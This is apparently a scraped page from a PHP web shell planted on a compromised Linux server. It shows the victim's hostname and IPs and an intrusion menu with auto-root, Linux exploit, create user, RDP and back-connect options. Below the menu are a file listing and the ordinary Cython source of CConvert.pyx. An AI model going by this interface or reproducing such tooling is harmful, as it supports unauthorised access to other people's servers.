Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.54
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python3.6 /
site-packages /
Cython /
Utility /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
__pycache__
[ DIR ]
drwxr-xr-x
AsyncGen.c
37.56
KB
-rw-r--r--
Buffer.c
28.79
KB
-rw-r--r--
Builtins.c
16.2
KB
-rw-r--r--
CConvert.pyx
4.24
KB
-rw-r--r--
CMath.c
2.51
KB
-rw-r--r--
Capsule.c
505
B
-rw-r--r--
CommonStructures.c
2.5
KB
-rw-r--r--
Complex.c
9.83
KB
-rw-r--r--
Coroutine.c
81.02
KB
-rw-r--r--
CpdefEnums.pyx
1.85
KB
-rw-r--r--
CppConvert.pyx
5.95
KB
-rw-r--r--
CppSupport.cpp
2.18
KB
-rw-r--r--
CythonFunction.c
41.88
KB
-rw-r--r--
Embed.c
6.52
KB
-rw-r--r--
Exceptions.c
24.77
KB
-rw-r--r--
ExtensionTypes.c
8.29
KB
-rw-r--r--
FunctionArguments.c
11.74
KB
-rw-r--r--
ImportExport.c
21.67
KB
-rw-r--r--
MemoryView.pyx
48.24
KB
-rw-r--r--
MemoryView_C.c
28.1
KB
-rw-r--r--
ModuleSetupCode.c
47.08
KB
-rw-r--r--
ObjectHandling.c
76.32
KB
-rw-r--r--
Optimize.c
36.88
KB
-rw-r--r--
Overflow.c
11.74
KB
-rw-r--r--
Printing.c
4.98
KB
-rw-r--r--
Profile.c
16.3
KB
-rw-r--r--
StringTools.c
40.04
KB
-rw-r--r--
TestCyUtilityLoader.pyx
152
B
-rw-r--r--
TestCythonScope.pyx
1.56
KB
-rw-r--r--
TestUtilityLoader.c
279
B
-rw-r--r--
TypeConversion.c
33.45
KB
-rw-r--r--
__init__.py
1.13
KB
-rw-r--r--
arrayarray.h
3.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CConvert.pyx
#################### FromPyStructUtility #################### cdef extern from *: ctypedef struct PyTypeObject: char* tp_name PyTypeObject *Py_TYPE(obj) bint PyMapping_Check(obj) object PyErr_Format(exc, const char *format, ...) @cname("{{funcname}}") cdef {{struct_type}} {{funcname}}(obj) except *: cdef {{struct_type}} result if not PyMapping_Check(obj): PyErr_Format(TypeError, b"Expected %.16s, got %.200s", b"a mapping", Py_TYPE(obj).tp_name) {{for member in var_entries:}} try: value = obj['{{member.name}}'] except KeyError: raise ValueError("No value specified for struct attribute '{{member.name}}'") result.{{member.cname}} = value {{endfor}} return result #################### FromPyUnionUtility #################### cdef extern from *: ctypedef struct PyTypeObject: char* tp_name PyTypeObject *Py_TYPE(obj) bint PyMapping_Check(obj) object PyErr_Format(exc, const char *format, ...) @cname("{{funcname}}") cdef {{struct_type}} {{funcname}}(obj) except *: cdef {{struct_type}} result cdef Py_ssize_t length if not PyMapping_Check(obj): PyErr_Format(TypeError, b"Expected %.16s, got %.200s", b"a mapping", Py_TYPE(obj).tp_name) last_found = None length = len(obj) if length: {{for member in var_entries:}} if '{{member.name}}' in obj: if last_found is not None: raise ValueError("More than one union attribute passed: '%s' and '%s'" % (last_found, '{{member.name}}')) last_found = '{{member.name}}' result.{{member.cname}} = obj['{{member.name}}'] length -= 1 if not length: return result {{endfor}} if last_found is None: raise ValueError("No value specified for any of the union attributes (%s)" % '{{", ".join(member.name for member in var_entries)}}') return result #################### cfunc.to_py #################### @cname("{{cname}}") cdef object {{cname}}({{return_type.ctype}} (*f)({{ ', '.join(arg.type_cname for arg in args) }}) {{except_clause}}): def wrap({{ ', '.join('{arg.ctype} {arg.name}'.format(arg=arg) for arg in args) }}): """wrap({{', '.join(('{arg.name}: {arg.type_displayname}'.format(arg=arg) if arg.type_displayname else arg.name) for arg in args)}}){{if return_type.type_displayname}} -> {{return_type.type_displayname}}{{endif}}""" {{'' if return_type.type.is_void else 'return '}}f({{ ', '.join(arg.name for arg in args) }}) return wrap #################### carray.from_py #################### cdef extern from *: object PyErr_Format(exc, const char *format, ...) @cname("{{cname}}") cdef int {{cname}}(object o, {{base_type}} *v, Py_ssize_t length) except -1: cdef Py_ssize_t i = length try: i = len(o) except (TypeError, OverflowError): pass if i == length: for i, item in enumerate(o): if i >= length: break v[i] = item else: i += 1 # convert index to length if i == length: return 0 PyErr_Format( IndexError, ("too many values found during array assignment, expected %zd" if i >= length else "not enough values found during array assignment, expected %zd, got %zd"), length, i) #################### carray.to_py #################### cdef extern from *: void Py_INCREF(object o) tuple PyTuple_New(Py_ssize_t size) list PyList_New(Py_ssize_t size) void PyTuple_SET_ITEM(object p, Py_ssize_t pos, object o) void PyList_SET_ITEM(object p, Py_ssize_t pos, object o) @cname("{{cname}}") cdef inline list {{cname}}({{base_type}} *v, Py_ssize_t length): cdef size_t i cdef object value l = PyList_New(length) for i in range(<size_t>length): value = v[i] Py_INCREF(value) PyList_SET_ITEM(l, i, value) return l @cname("{{to_tuple_cname}}") cdef inline tuple {{to_tuple_cname}}({{base_type}} *v, Py_ssize_t length): cdef size_t i cdef object value t = PyTuple_New(length) for i in range(<size_t>length): value = v[i] Py_INCREF(value) PyTuple_SET_ITEM(t, i, value) return t
Close